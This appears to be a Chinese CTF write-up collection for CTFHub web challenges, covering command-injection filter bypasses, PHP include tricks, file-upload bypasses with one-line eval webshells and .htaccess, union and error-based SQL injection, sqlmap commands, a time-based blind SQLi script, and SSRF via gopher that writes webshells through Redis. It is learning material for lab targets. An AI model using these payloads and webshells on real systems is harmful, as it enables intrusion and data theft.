思路一
我们知道http请求方式中没有CTFB方式,就想到CTFHUB
使用BP抓包,将原来的数据包请求方式GET改成CTFHUB
点击Forward,放包。得到flag.
积累
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
思路二
可以用cmd自带命令curl查看http的返回消息
相当于返回服务器返回所有信息,包含html源码,其中包含flag
解析
curl -v(获取整个通信过程)
curl -X url(使用特定方法请求网页文本)
因为HTTP Method 是可以自定义的,并且区分大小写,直接用 CTFHUB 方法请求 index.php 即可拿到 flag。
思路一
点击Give me Flag
查看源码 发现Give me Flag页面重定向到index.php
可以通过curl直接访问index.php得到flag
思路二
抓包发到Repeater模块
发送到repeater将admin改为1
再点GO,得到flag
把报文发送到Intruder,点击add,将basic后面的base64部分加上$
加载字典
添加前缀admin 和添加base64编码
取消url编码勾选,不然=会变成%3d
爆破之后会发现长度不一样的,点击查看response,拿到flag
字典真的要下好一点的
进入界面是一个贪吃蛇
先玩一把感受一下
之后查看源码找到flag
当然抓包也可以
或者用curl -v -X GET来得到
反思
没有基础
知识太少
希望可以一点点的坚持积累去进步
加油
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
输入 |ls
?ip
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
先|ls查看目录
发现存在flag_313911065126325.php
?ip
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格
先 |ls查看目录
?ip=|cat${IFS}flag_58872678825836.php
这里过滤掉 “” 和 “/”
我们可以用;ls查看目录
进入flag_is_here 再次查看目录
?ip
?ip=;cat flag_37062833024962.php
方法一
代码审计,过滤内容如下
| & ; 空格 / cat flag ctfhub
由于|&;都被过滤了,因此只能用%0a 作为分隔符
需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码
?ip=%0als
用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤
构造?ip=%0acd%09fl’‘ag_is_here%0als
?ip=%0acd%09fl’‘ag_is_here%0aca’‘t%09fl’'ag_166362287218721.php
方法二
flag可以用${IFS}fl$*ag_id_here
这样替代。
%0als${IFS}fl$*ag_is_here
%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}fl$*ag_166362287218721.php
方法一
代码显示将命令赋值给cmd然后执行
?cmd=system(“ls …/…/…/”);
?cmd=system(“cat …/…/…/flag_30631”);
方法二:
可以执行?cmd=system(‘ls’);查看当前目录。
因为没有对输入进行过滤,直接连接菜刀。
在根目录发现flag文件,获得flag
构造payload,往ctfhub里传参。先查看当前目录下的文件ls
这里要用单引号
发现没有flag相关文件,查看上一级文件ls /
发现flag信息,打开flag文件,获得flag
当然也可以连接一剑,密码是ctfhub
代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php
查看PHPinfo文件,发现可以使用php://input
构造payload,使用?file=php://input
POST里传参:
发现存放flag的文件
然后再打开文件
当然也可以参照pikachu远程包含的做法
发现不管用
先了解一个知识
使用filter将源码通过base64回显。
Payload:
http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag
先搞一个一句话木马
因为这里是无验证,所以直接上传php
连接蚁剑
只能上传图片
所以上传图片抓包
把jpg改为php
再连接就好
法一:
上传一句话木马jpg格式
然后我上传一张图片png
把除了文件头其他的图片内容全删了,然后添加一句话木马,然后改.png为.php
注意那个红色的PNG不能删了
不然文件头检查就过不了
连接就好了
法二:
开始,上传一个.php后缀的文件,提交,alert()弹出一个窗口,只允许jpg,png,gif后缀提交,然后burpsuite抓包,把Content
方法二:
也可以上传.PHP文件然后修改content-cype
在这里插入图片描述
改成image/jpeg,然后发送,在使用蚁剑连接
上传jpg
没有出现上传文件的路径地址。
url地址栏出现了?road=/var/www/htm/ 没有返回文件的路径地址,多半是有临时文件名的存在,这就需要00截断,00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension']; //首先取到上传文件的扩展名$ext
$whitelist = array("jpg", "png", "gif"); //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "";
} else {
echo "";
}
} else {
echo "文件类型不匹配";
}
}
move_uploaded_file
这个函数就是把上传文件放到d e s 的 路 径 上 并 且 改 了 文 件 名 , 而 des的路径上并且改了文件名,而des中的随机数,当前时间等无法确定,那么,在$_GET[‘road’]后面进行00截断payload:POST /?road=/var/www/html/upload/999.php%00 HTTP/1.1重新上传,这样,上传文件就被保存到了upload/999.php下。
999.jpg不要改 不然会显示文件类型不对
直接去连接就可以了
我上传一个1.php%00.jpg
发现把php给搞没了
上传1.php.php%00.jpg
php 双写后缀后 pphph
于是我们用1.pphphp来绕过
然后去连接就行了
下面我们看一下源码
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
这道题会对上传文件的后缀进行检测,如果是array数组中的后缀,则会替换为空。
htaccess文件是什么
htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,允许或组织特定的用户或者,目录的访问,禁止目录列表,配置默认文档等功能。
法一
根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
意思是将文件名中带有 3 的文件当作php文件解析。
然后上传一句话,文件名为 3.jpg ,之后会上传成功。
http://challenge-ca10a6f74c692568.sandbox.ctfhub.com:10080/upload/3.jpg
我的蚁剑搞这个的时候出现了问题,就到这里吧
法二:
据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .jpg
上传 htacces文件 (将.jpg后缀的文件当作php文件解析)
去连接就行了
关键字/语句/函数 解释
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
1.输个1,回显有两列。
2.判断列数
1 order by 1,2,3
3.报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,database()
4.报所有的数据库
-1 union select 3,group_concat(schema_name) from information_schema.schemata
5.根据报出的数据库,报表名字
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”
6…知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”
7.当报出字段,可以直接查询数据。
-1 union select 3,group_concat(flag) from sqli.flag
1.输个1
发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
id=1’ and ‘1’=‘1 正常回显
id=1’ and ‘1’=‘2 返回错误
我们可以用#闭注释掉单引号,输入1’ and 1=1#,正常回显
2.判断列数
1’ order by 3#
1’ order by 2#
3.报当前的数据库
-1’ union select 3,database()#
4.报当前所有的数据库
-1’ union select 3,group_concat(schema_name) from information_schema.schemata#
5.报表名
-1’ union select 3,group_concat(table_name) from information_schema.tables where table_schema=“sqli”#
6.字段名
-1’ union select 3,group_concat(column_name) from information_schema.columns where table_name=“flag”#
7.查询数据
-1’ union select 3, group_concat(flag) from sqli.flag#
百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入最常用到的三种报错注入方式分别是:updatexml()、floor()、extractvalue()。
updatexml()语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。
使用updatexml报错注入固定格式:
payload:?id=a'and(updatexml("anything",concat('~',(select语句())'~'),"anything"))
concat()函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
查表
1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"),0x7e),1));
字段
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“flag”),0x7e),1));
直接查数据
1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from sqli.flag),0x7e),1));
就出来了
1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
所以是数字型注入
2.判断回显点位
输入1 order by 2有回显
-1 union select 1,2
回显点位为1,2
3.查数据库名
-1 union select database(),2
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=“sqli”
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name=“gunqeizaat”
6.爆值
绕过空格过滤的方式: /**/、()、%0a。
我们这里就用/**/
1/**/order/**/by/**/2
1/**/union/**/select/**/1,2
-1/**/union/**/select/**/database(),2
数字型
2.判断字段数
当id=1 order by 2 时回显正常,当id=1 order by 3时无回显,所以字段数为2
3.爆数据库名
id=-1 union select 1,database()
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021020320465779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70
4.爆表名
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=“sqli”
5.爆字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“dnsehhpdvg”
6.爆值
id=-1 union select 1,group_concat(cdciinqukz) from dnsehhpdvg
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KforYPxU-1612423099536)(https://img-blog.csdni首先检测是否有cookie注入mg.cn/2021020320531811.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUxNTU4MzYw,size_16,color_FFFFFF,t_70)]
sqlmap
在sqlmap中使用cookie注入,level >=2才行
首先检测是否有cookie注入
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2
存在Cookie注入
1.查库
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 --dbs
2.查表
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” -D sqli --tables
3.查字段
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta --columns
4.爆值
sqlmap.py -u “http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080” --cookie “id=1” --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
语句和上面一样
sqlmap
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
sqlmap.py -u “http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 --dbs
2.爆表
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli --tables
3.爆字段
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap.py -u “http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080” --user-agent “id=1” --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
sqlmap
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3
1.爆数据库
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 --dbs
2.爆表
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli --tables
3.爆字段
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi --columns
4.爆值
sqlmap.py -u “http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/” --referer “id=1” --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump
获取数据库名:sqlmap.py -u 环境链接 –dbs
和上面一题类似
脚本:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:
file:///
dict
dict协议可以用来探测开放的端口
构造payload dict://127.0.0.1:端口号
利用burpsuite进行爆破
然后访问就行
了解:如果传入的URL为http://[email protected]:[email protected],那么进入 safe_request_url后,parse_url 取到的host其实是baidu.com,而curl取到的是127.0.0.1:80,所以检测IP时是正常的一个网站域名而实际curl请求时却构造的127.0.0.1,以此实现SSRF攻击。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://[email protected]/flag.php
成功得到flag。
进入环境,尝试访问?url=127.0.0.1/flag.php
因此尝试将ip地址转换为进制的方式进行绕过,127.0.0.1转换为16进制是0x7F000001,这样就可以成功得到flag
题目出现问题,等修改好了再说
题目出了问题,等修改好了再说
我们进入之后可以试试flag.php,果然存在flag.php,不过需要从127.0.0.1进行访问。我们访问一下:
查看源码
查看302.php,发现了可以构造url用302跳转。
这题需要用gopher协议通过302.php的跳转去post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。
首先构造一个最基本的post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 #特别注意此处的长度,长度不对也是不行的
key=2ddf50f048c2728241fc9c1a6a2d0eac #key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。
首先进行一次url编码,将换行%0A改成%0D%0A
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D1de171b79f0bc7caabdd7ba6fee00c56
然后再进行2次URL编码,也就是说一共要进行三次URL编码,最后为:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56
最后使用gopher协议请求即可
?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D1de171b79f0bc7caabdd7ba6fee00c56
提示:这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运
使用file伪协议读取到源码?url=file:///var/www/html/flag.php
发现没有提交,所以要在前端添加提交
右键 edit as html 来写
上传一个非空文件,这里我们上传了一个php
url编码一次,把%0A换成%0D%0A,然后再url编码两次:
/?url=127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%252520328%25250D%25250ACache-Control%25253A%252520max-age%25253D0%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250AOrigin%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25250D%25250AContent-Type%25253A%252520multipart%25252Fform-data%25253B%252520boundary%25253D----WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AUser-Agent%25253A%252520Mozilla%25252F5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit%25252F537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome%25252F85.0.4183.102%252520Safari%25252F537.36%25250D%25250AAccept%25253A%252520text%25252Fhtml%25252Capplication%25252Fxhtml%25252Bxml%25252Capplication%25252Fxml%25253Bq%25253D0.9%25252Cimage%25252Favif%25252Cimage%25252Fwebp%25252Cimage%25252Fapng%25252C*%25252F*%25253Bq%25253D0.8%25252Capplication%25252Fsigned-exchange%25253Bv%25253Db3%25253Bq%25253D0.9%25250D%25250AReferer%25253A%252520http%25253A%25252F%25252Fchallenge-01037cbf4c653e93.sandbox.ctfhub.com%25253A10080%25252F%25253Furl%25253D127.0.0.1%25252Fflag.php%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25252Cen-US%25253Bq%25253D0.8%25252Cen%25253Bq%25253D0.7%25250D%25250AConnection%25253A%252520close%25250D%25250A%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522XiaoMa.php%252522%25250D%25250AContent-Type%25253A%252520application%25252Foctet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252540eval(%252524_POST%25255B'feng'%25255D)%25253B%25253F%25253E%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%25250D%25250A------WebKitFormBoundaryE3ar268swYQeTYZs--%25250D%25250A
首先我们需要了解关于Redis的相关知识:
Redis 配置详解
浅析Redis中SSRF的利用
Redis在SSRF中的应用
这题不是用shell反弹,而是写文件,然后进行命令执行。因此redis命令如下:
flushall
set 1 ''
config set dir /var/www/html
config set dbfilename feng.php
save
需要再经过一次url加密,这样才行。最终我的是这样:
/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
执行过之后,就写入了feng.php。这时候,如果你通过?url=127.0.0.1/feng.php进行命令执行,会有玄学问题。我不知道是不是我url的问题,反正我这里出现了玄学问题。
因此直接访问feng.php,然后就是命令执行:
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("ls /");
http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("cat /flag_6fb66dcb5b32fff57ef6f5bf213f12e5");
网站源码
大概猜测到是要我们解压压缩包,通过和下面的网站源码备份文件名搭配寻找flag,前两个是linux里的命令,然后我使用的是zip
一个个去试
bak文件
这句话里提到了index.php 而且题目也说了 bak,于是就想到了php的备份文件 后缀就是以bak结尾的,于是尝试一下去看看
vim缓存
vim会自动生成备份文件和临时文件,如果程序正常退出,临时文件会自动删除,如果意外退出就会保存,文件名为.filename.swp(第一次产生文件的后缀名为.swp;再次意外退出产生文件的后缀名为.swo;第三次产生的后缀名为.swn)
在地址栏加上**/.index.php.swp**(不知道为什么我这里要多加一点),将文件保存下来
将保存的文件用notepad++打开就可以得到flag了
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
下载到一个文件
在源码后面添加,得到flag